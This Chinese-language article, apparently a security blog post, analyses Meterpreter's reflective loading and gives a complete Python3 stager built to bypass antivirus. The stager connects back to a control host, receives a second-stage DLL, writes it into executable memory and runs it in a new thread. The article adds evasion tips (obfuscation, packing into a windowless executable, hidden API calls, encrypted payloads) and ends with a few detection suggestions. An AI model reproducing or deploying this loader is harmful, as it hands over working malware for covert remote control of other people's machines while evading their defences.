分析并使用python3编写meterpreter加载器绕过AV
字数 1024 2025-08-26 22:12:01
Meterpreter加载器绕过AV技术分析与实现
一、Meterpreter加载过程分析
Meterpreter使用ReflectiveDLLLoader技术,使其功能代码在内存中执行,不在硬盘留下文件。加载过程主要分为以下几个关键步骤:
1. Shellcode核心功能
- API哈希解析:通过哈希值动态获取所需API地址
- 反向TCP连接:与控制端建立网络连接
- 数据接收:接收控制端发送的第二阶段DLL
2. 关键汇编代码分析
在reverse_tcp.rb和block_api.rb中定义了生成shellcode的ASM代码:
-
建立连接部分 (
asm_reverse_tcp):- 使用
socket、connect等API建立TCP连接 mov edi,rax指令将socket描述符保存到rdi寄存器
- 使用
-
数据接收部分 (
asm_block_recv):- 首先接收一个4字节的length值(第二阶段DLL大小)
- 使用
VirtualAlloc分配可执行内存空间 - 通过socket接收stage2数据到分配的空间
- 跳转到stage2执行
二、Python3加载器实现
1. 核心组件
import ctypes
import socket
import struct
2. 关键实现步骤
(1) 初始化Windows API
kernel32 = ctypes.cdll.LoadLibrary("kernel32.dll")
kernel32.VirtualAlloc.restype = ctypes.c_uint64
(2) 建立TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
(3) 设置socket描述符到rdi寄存器
# mov rdi, socket_fd 的机器码: 0x48 0xBF [socket_fd]
mov_rdi = b"\x48\xBF" + struct.pack("<Q", s.fileno())
(4) 接收第二阶段DLL
# 接收4字节的长度信息
length_data = s.recv(4)
length = struct.unpack("<I", length_data)[0]
# 分配可执行内存
mem = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(length),
ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
# 接收并写入内存
received = 0
while received < length:
data = s.recv(length - received)
ctypes.memmove(
ctypes.c_uint64(mem + received),
data,
len(data)
)
received += len(data)
(5) 创建线程执行
# 创建线程执行内存中的代码
thread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(mem),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
kernel32.WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))
3. 完整代码示例
import ctypes
import socket
import struct
def run(ip, port):
# 初始化API
kernel32 = ctypes.cdll.LoadLibrary("kernel32.dll")
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 建立连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# 设置socket描述符到rdi
mov_rdi = b"\x48\xBF" + struct.pack("<Q", s.fileno())
# 接收长度
length_data = s.recv(4)
length = struct.unpack("<I", length_data)[0]
# 分配内存
mem = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(length),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
# 接收数据
received = 0
while received < length:
data = s.recv(length - received)
ctypes.memmove(
ctypes.c_uint64(mem + received),
data,
len(data)
)
received += len(data)
# 创建线程执行
thread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(mem),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
kernel32.WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))
if __name__ == "__main__":
run("192.168.1.100", 4444)
三、增强免杀技术
- 代码混淆:使用变量名混淆、代码结构随机化等技术
- 打包技术:使用PyInstaller打包为可执行文件
pyinstaller --onefile --noconsole loader.py - API调用隐藏:动态解析API地址而非直接调用
- 加密传输:对传输的shellcode进行加密
四、防御检测建议
- 内存扫描:监控异常内存分配(特别是PAGE_EXECUTE_READWRITE)
- API调用监控:关注VirtualAlloc和CreateThread的组合使用
- 网络行为分析:检测异常的反向TCP连接
- 进程行为监控:检测从非标准位置执行代码的行为
五、总结
通过Python实现的Meterpreter加载器利用了以下关键技术:
- 反射DLL加载技术避免文件落地
- 直接操作内存和线程执行
- 精确控制socket描述符传递
- 灵活的Windows API调用方式
这种实现方式可以有效绕过传统基于文件特征的AV检测,但需要注意现代EDR解决方案可能会检测异常的内存操作和网络行为。